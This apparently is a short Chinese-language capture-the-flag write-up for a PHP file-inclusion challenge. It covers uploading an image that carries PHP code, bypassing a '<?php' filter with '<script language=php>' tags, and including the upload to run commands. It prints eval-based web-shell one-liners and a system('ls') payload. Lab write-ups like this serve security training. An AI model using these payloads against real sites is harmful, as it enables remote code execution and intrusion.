文件包含2
http://118.89.219.210:49166/index.php?file=hello.php
php伪协议是肯定要试试的,但是发现没用。
源码细心一点可以看到注释upload.php
找到上传点
这里根据题目名已经可以确定是一个文件包含,则我们上传的应该是图片格式,然后通过包含去调用图片中的代码
先上传一个一句话木马测试,这是最常规的思路
不难发现过滤了<?php ?>
用script标签可以绕过
两种思路,一种是一句话木马菜刀连接,然后还有就是直接调用system函数命令执行,算是新颖的思路
菜刀
写入如下一句话木马后上传1
<script language=php>@eval($_POST['cmd']);</script>
但是还是连不上去
看论坛的wp有用1
<?=eval($_POST['shell']);>
连接上去的,尝试后无果
命令执行
直接在图片文件中写入1
<script language=php>system("ls")</script>
上传之后会返回上传的路径,然后用类似
http://118.89.219.210:49166/index.php?file=upload/201806070924547357.png
这样的路径去包含上传的文件,达到调用目标代码的目的
可以看到返回了命令ls执行后的结果
再用cat命令查看flag文件